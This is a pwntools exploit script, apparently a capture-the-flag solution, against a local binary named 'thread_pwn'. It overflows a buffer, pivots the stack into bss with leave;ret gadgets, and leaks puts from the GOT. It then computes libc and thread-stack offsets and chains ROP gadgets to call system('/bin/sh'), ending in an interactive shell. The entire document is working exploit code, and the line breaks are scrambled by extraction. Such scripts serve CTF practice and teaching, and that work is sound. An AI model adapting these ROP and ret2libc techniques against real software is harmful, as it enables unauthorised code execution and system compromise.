from pwn import *
io = process(
"./thread_pwn"
)
context(log_level =
"debug"
,arch =
"amd64"
,os =
"linux"
)
elf = ELF(
"./thread_pwn"
)
libc = ELF(
"./libc-2.31.so"
)
bss = elf.bss() + 0x30 + 0x40 + 0x40
magic = 0X4014BE
rdi = 0x0000000000401593
rsi_r15 = 0x0000000000401591
leave_ret = 0x4014D5
print(
"bss=======================================>"
,hex(bss))
payload = b
"A"
*0x40 + p64(bss + 0x40) + p64(magic)
io.sendafter(
"This is my thread..."
,payload)
sleep(0.1)
payload = p64(rsi_r15) + p64(elf.got[
"write"
]) + p64(0x0)
payload += p64(elf.plt[
"read"
]) + p64(rdi) + p64(0x1000) + p64(elf.plt[
"sleep"
])
payload = payload.ljust(0x40,b
"\x00"
)
payload += p64(bss - 0x8) + p64(leave_ret)
cmd =
''
'
b *0x4014D4\n
c\n
thread 2\n
'
''
#gdb.attach(io,cmd)
#pause()
#libcbase:0x7fdf5d04a000
io.send(payload)
sleep(0.1)
io.send(p64(magic))
io.recv()
payload = b
"A"
*0x30 + p64(rdi) + p64(elf.got[
"puts"
]) + p64(0x4010F0) + p64(magic)
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
#子线程的栈地址偏移
thread_base_offset = 0x7fdf5d04a000 - 0x7fdf5cedc420
#子线程libc基址偏移
libcbase_offset = 0x7f5dbba23420 - 0x7f5dbb99f000
#主线程libc基址偏移
#input("==============================++>")
gdb.attach(io,cmd)
pause()
pause()
io.send(payload)
puts = u64(io.recv(6).ljust(8,b
"\x00"
))
print(
"puts==================================>"
,hex(puts))
stack = puts - stack_offset
libcbase = puts + thread_base_offset
libcbase2 = puts - libcbase_offset
print(
"======================================>"
,hex(stack))
print(
"===================================>"
,hex(libcbase))
print(
"==================================>"
,hex(libcbase2))
system = libc.sym[
"system"
] + libcbase2
binsh = next(libc.search(b
"/bin/sh"
)) + libcbase2
payload = p64(rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40,b
"\x00"
)
payload += p64(stack - 0x8 - 0x40) + p64(leave_ret)
sleep(0.1)
print(
"system=========================================>"
,hex(system))
#pause()
io.send(payload)
io.interactive()